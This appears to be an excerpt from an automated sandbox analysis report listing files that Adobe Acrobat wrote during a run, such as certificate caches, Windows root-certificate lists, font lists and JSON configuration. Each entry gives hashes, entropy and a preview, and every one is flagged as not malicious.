SSDEEP:	24:7+tdG6wKOqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzp:7McWOq/mFTIF3XmHjBoGGR+jMz+Lhg
MD5:	317D54551E00A56C7A54059002B79E5A
SHA1:	CB14C5BFE2D4FD1BEC439C1F732108B5C44827A5
SHA-256:	27BDD6B1ECE0F88BA0DA99D427B9D50DFD295551ED47BC557D277E0D1081375E
SHA-512:	F9687793A334F1868A48930A80C1D75AE797A4B6CA062D94834D80F72BFA0F20594B2DC87CCD9A41F25435C97E7E2A93586A3DA7A491855535382B9D3CEFF430
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7217198674325385
Encrypted:	false
SSDEEP:	3:kkFklfOMZttfllXlE/HT8kAZNNX8RolJuRdxLlGB9lQRYwpDdt:kKZMZteT81NMa8RdWBwRd
MD5:	773A89C3E828828481969217087D7BDD
SHA1:	F2148FD31F67D009E6D513CD9E44096E5C9F8C18
SHA-256:	D4FD55881ADADDE3BE07C16DA6B1F45802447C1CFF9F525C613CD703F6DCCF14
SHA-512:	78370C2E9D38E5570E9B8CC7F117D8DB5862660B670D57E1F49C10006A4ACB8DC3B7C27A757A1891EF774270D0EE93E44187469A97B59503356E0DBF6F6612A9
Malicious:	false
Preview:	p...... ........lk...c..(....................................................... ..........W....%...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKU3yL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:IyiDnLNkPlE99SNxAhUe/3
MD5:	CA8E1EC049A779CABF8C828E6E379F9B
SHA1:	0CE2D71039BCBF0D653916A882D4AE12ACF0ACAE
SHA-256:	65229EC2CA7C3C5B0D3ADF4DCFE2C5F541C3A3F71D07EA8B49759998F5A6C5AD
SHA-512:	FC467CE0B0B2CC1A9A7D6FA5F8C137061FEA2C3D26207E935F55779A5FD10ABF58D6ED2CA26A049215BB92E380878403389C955C08B371317F15082084BE688D
Malicious:	false
Preview:	p...... ........!....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342839211512069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJM3g98kUwPeUkwRe9:YvXKXhxoQsUTbdjgxOGMbLUkee9
MD5:	D919E23B6761D096A1C9165745C1F27F
SHA1:	F72B5C4C974C88CA5DCB2A5B7DD00FB92935FFD7
SHA-256:	E2AC67413E09BE2D254A9E3867275A029B809FBEB5359356D8ECF41E524426DC
SHA-512:	1289909AA09465BA98B23579B4020A966E37E7DE85157A50968689E98A0F0F5D97B93A0C8BDDBAF01704CCF433306DB37F1B0D1C57FC0E4F1475FC640807EDB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276032788725193
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfBoTfXpnrPeUkwRe9:YvXKXhxoQsUTbdjgxOGWTfXcUkee9
MD5:	DC5743C8C73FE089207A7906C7F59312
SHA1:	88BA9809673D5640CDB005A1FA6594CC723DD657
SHA-256:	704D28835E997AA4FBAAB9E95746E51F33D45543FAA7896E05DA21A3870B15F4
SHA-512:	FBB883B6163A3DFDD8E2BF103631AEF199BDAE8A4075BDCD7FC24B6148A780B133EBEC4C96926CF8EEFC7CEE15EFF863E2B67E4C87B74DAF41F516148AA53F02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.254702851149418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfBD2G6UpnrPeUkwRe9:YvXKXhxoQsUTbdjgxOGR22cUkee9
MD5:	7B6DE6CABC4176ED4C99D62E7BF36E44
SHA1:	AC4642E75EC429EDC1DEE782819887557906F10D
SHA-256:	6FEA8BFFF6BF9FFBE4EE1FD06B9B7F173517A1DFA7013D24BABF0C90C9BAF969
SHA-512:	014D36A49ED9233544E62462F94E7B29E6C7E1CE1683298B03EAFF950257F2E0222AE9C3FF3C37BE292457F1E362E0F59B6FAC082751D0164F6BCF0E21DC0FA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.316397774916618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfPmwrPeUkwRe9:YvXKXhxoQsUTbdjgxOGH56Ukee9
MD5:	CDBFC3ECFD161F7B4DAA27F5A9CFDE75
SHA1:	B6B37297DBEEB5EE21C9ECC47BEEB51163D60831
SHA-256:	A1AB4F89F05E6E9CF3827BB0CFEB5C68C88972F27559259EB7A728222B80243A
SHA-512:	FD11AC9F680D775E20EB9B2DA2EDC35B1924BFAD74A52C8003C79A8989BE94CF1C400DE0BE510C37F10993BD766A3717563AF445967C26E74157DF5EEB071DB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.674086635308253
Encrypted:	false
SSDEEP:	24:Yv6XVsUX56pLgE9cQx8LennAvzBvkn0RCmK8czOCCS1o:YvKswwhgy6SAFv5Ah8cv/1o
MD5:	89BD6AF77756AE94449EAC41613411A6
SHA1:	CA3167603EF1C611DC0277FAD8AE2D8DE1C1DBCE
SHA-256:	B928FBF54D51DCB9115E99896CE30C0190954169F5CBEB3E25475BA729CFF9B8
SHA-512:	03F716660C1C7CB7A88DE5C584861EAC327A1929DF3045EC996A7803BF5F7A802622AD7B8508D5C9741AEE294B411FE236347194B35013D042265DF4C341376D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2516541847399765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJf8dPeUkwRe9:YvXKXhxoQsUTbdjgxOGU8Ukee9
MD5:	873DD3DC0452A33B04C56F83F16214EB
SHA1:	81B8F084FBBE0B2EA852BAF00240F9AFDCE5DC2A
SHA-256:	E8677A9983E0F1D87C64E7D77C0EC08651F338E57121CFA6D6EEEA9AB1E24B4F
SHA-512:	EA98519B97A0C4E17E56970C40B817AD1CA52634672D12BF59652E0F173D8DAF7222EBE30D11FCB7B794F2641B5A0A7F9D5C742A848F739A7E7BCA12337FBF7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.25534107971677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfQ1rPeUkwRe9:YvXKXhxoQsUTbdjgxOGY16Ukee9
MD5:	D7F48567284AED9F75AC88EEB5E6F0A9
SHA1:	8335DCA21E9703F533FE3519F3AD16F48FB02BCF
SHA-256:	739E10DCEE0E55984AAE1FBC779D2F283DD297A4DBED3DD1DBD37A451DE2F05A
SHA-512:	60EAE7652AEA7D60298DABB874EF37CE7220C22150E74A79A2EF11220439F65DC911205E61C575988DE27B576A7FBB6BA3BE1B9E1CACF1160BFD47D3A791367A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264649422143596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfFldPeUkwRe9:YvXKXhxoQsUTbdjgxOGz8Ukee9
MD5:	48CC2EBB8693AD8F0CE52E945427B59A
SHA1:	05278600848A081E6E3BB2BAF09DB8BF1B77DADC
SHA-256:	AA4717B2EC6330D3A18AE4291EE46B04BA6E3A68B2F350354ADD3D19C0BFD84B
SHA-512:	4FBA42F94867C35A749F2CB75A5296974BB2BDBAE8BD784626FC7245BC2D3C8CC31CF2B1B18021623DD6FD47C6996023C0C0914EB2239C24536939732310B414
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2776784597174045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfzdPeUkwRe9:YvXKXhxoQsUTbdjgxOGb8Ukee9
MD5:	76FBB444B7D266595BE54D93375CBEF0
SHA1:	4A9D2052A439FEEBC2C92A7F099842C6D03140D7
SHA-256:	2FFD74A41AC3698B8D6F58EB3759515218880A5E625D3F41B9FEBA684F97DD2A
SHA-512:	3F705B14B71E82471E5349B9181F0027BA2ADFB5B214CEC1BE1F6C76B74A6110738CB542C9B67B2BC8BBF90F7B867B3D1446642FF5BBBF2ABB1693A3F30C510E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258484614393354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfYdPeUkwRe9:YvXKXhxoQsUTbdjgxOGg8Ukee9
MD5:	3EF365F52A147D0C9493C2428FD64C6B
SHA1:	8073521C098AE4ACE1E0F1FD8DFC89731E4BE626
SHA-256:	36B841CAAC9CA519B5AF164C86AE6EDB708D9C026CAA26B6C9F3B79388CDFEA5
SHA-512:	6C2A53FF5E923D39CCDF0EDF13A15ED020D71EEC55C966DEC1EBFB07AAA90D2EB9A5B78226A70CA773DECF4AD78F345EDB82CB13B5EBC0B56CA5EB369371445D
Malicious:	false
